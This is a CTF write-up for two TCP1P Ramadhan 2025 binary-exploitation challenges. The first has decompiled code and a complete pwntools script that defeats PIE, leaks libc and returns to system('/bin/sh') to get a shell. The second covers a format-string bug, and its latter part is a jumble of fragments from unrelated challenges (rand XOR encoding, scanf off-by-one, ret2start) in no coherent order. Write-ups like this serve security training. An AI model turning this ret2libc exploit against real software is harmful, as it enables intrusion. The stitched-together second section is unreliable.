┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Berbuka Dengan PIE]
└──╼ $pwn checksec chall
[*] '/home/mirai/ctf/TCP1P Ramadhan 2025/Berbuka Dengan PIE/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Code Analysis
We open the chall file in IDA:
main()
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
while ( 1 )
{
menu();
v3 = readint();
if ( v3 == 4 )
{
puts("Bye bye!");
exit(0);
}
if ( v3 > 4 )
{
LABEL_14:
puts("Pilihan tidak valid.");
}
else
{
switch ( v3 )
{
case 3:
vuln();
break;
case 1:
puts("emm enak tuuuu :)");
puts("ak jg mw\n\n");
break;
case 2:
puts("KUEEEEE PIEEEEEE KESUKAANKUUU");
puts("KAMU JUGA MAU?");
puts("BOLEH");
puts("iniiiiiiiiii");
puts("ketik 1 dulu kalau mau ehe");
if ( (unsigned int)readint() == 1 )
printf("oke okeeeyy ini pie nya untukmuu, %p\n", main);
else
puts("\naku marah banget");
break;
default:
goto LABEL_14;
}
}
}
}
if ( (unsigned int)readint() == 1 )
printf("oke okeeeyy ini pie nya untukmuu, %p\n", main);
else
puts("\naku marah banget");
In here, when we chose the option 2, it will print out the main() addressfunction. Since our binary is PIE enabled, this defeats the PIE enabled protection.
There is also a bug in vuln() function:
int vuln()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
puts("WOIII JANGAN MASUK SINIII");
printf("btw, kue pie nya enak gaaakkk hihi : ");
fgets(s, 100, stdin);
return printf("%s\n\n", s);
}
An obvious buffer overflow, fgets is taking in 100 characters into buffer s[32].
Since there's is no win function, we will need to do ret2libc.
Exploitation
This one is straightforward, we will just need to calculate the offset from the main() function to the base address. The problem is when we are trying to leak libc. There is no easy way to put a libc address into RDI register since there are no pop rdi; ret; gadgets.
But when we see on debugger, when returning from the vuln() function, the RDI registers is actually populated with funlockfile address. With this knowledge, we can just call puts, calculate the offset from libc.sym['funlockfile'] to get the libc base address and then back to vuln to do a second buffer overflow.
With our leaked libc base address, now we can use the function inside of libc. We can call system("/bin/sh") to get a shell and read the flag.
solve.py
#!/usr/bin/env python3
from pwn import *
# =========================================================
# SETUP
# =========================================================
exe = './chall_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'playground.tcp1p.team', 19001
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
breakrva 0x1246
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
def exploit():
global io
io = initialize()
rop = ROP(exe)
io.sendline(b'2')
io.sendline(b'1')
io.recvuntil(b'0x')
# Calculate the offset to the main function
elf.address = int(io.recvline().strip(), 16) - elf.symbols['main']
io.sendline(b'3')
payload = b'A'*40
payload += p64(elf.symbols['puts'])
payload += p64(elf.symbols['vuln']) # Call vuln again to do a second overflow
io.sendlineafter(b':', payload)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
io.recvn(8)
# Calculate the offset to libc base
libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - libc.symbols['funlockfile']
log.info('Libc base: %#x' % libc.address)
# Now we call system("/bin/sh")
payload = b'A'*40
rop = ROP(libc)
rop.raw(rop.ret.address)
rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(payload + rop.chain())
io.interactive()
if __name__ == '__main__':
exploit()
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Perfect]
└──╼ $pwn checksec chall
[*] '/home/mirai/ctf/TCP1P Ramadhan 2025/Perfect/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Code Analysis
There is a function called perfect():
perfect()
int perfect()
{
char s[520]; // [rsp+0h] [rbp-210h] BYREF
unsigned __int64 v2; // [rsp+208h] [rbp-8h]
v2 = __readfsqword(0x28u);
fflush(_bss_start);
puts("sebutkan di dunia ini apa yang 'Perfect' menurut kamu?");
fgets(s, 512, stdin);
printf(s);
puts("apa alasan mengapa dia itu perfect ?");
fgets(s, 512, stdin);
printf(s);
puts("\nnahh. 'i dont deserve this, she look perfect tonight:)");
return fflush(_bss_start);
}
I didn't realize there was a win function here lol
Exploitation
We found that the stack address and libc address lives at offset %1$p and %67$p . We then calculate the stack address offset to current stack RIP and calculate libc base address.
With these leaks in our hand, we can overwrite at any address using the second format string vulnerability. Thankfully, pwntools have the automation just to do that.
This code essentially sets up a seed using the current time, then generate a random number, then essentially taking only the lowest 8 bits of the rand() value. Equivalent with v0 & 0xff
This function basically xor'ing every character in the string with the value from rand.
Knowing that:
We can XOR our chosen payload with the rand on server, and in the server, it will XOR it again, making it decrypted and reflect our actual payload. But in this case we want to use the format string, so we chose our payload so that it can leak addresses and stack canaries.
At first glance, this code didn't seem vulnerable to anything. But knowing that scanf appends null byte at the end of input.This code is instantly vulnerable to an off-by-one null byte overflow.
Exploitation
Finding the Offset
At first, i tried to fuzz this to find the offset where i start to overflow the buffer.
To counter this error, we can do a technique called ret2start. This will restart the binary. Restoring the stack state just like when we first executed the binary.
Though there are no buffer overflow, this function is vulnerable to format string vulnerability, on line 10 and 13. With format string vulnerability, we can do arbitrary read and arbitrary write. We are given two format string. So my instant thought is first to leak saved RIP of the current stack and also leak libc address, then on the second format string, we can write a .
A⊕B=CandA⊕C=BandB⊕C=A
At this point, i am clueless, so i tried asking my friend , he said "why not just use ret slep", so i did just that.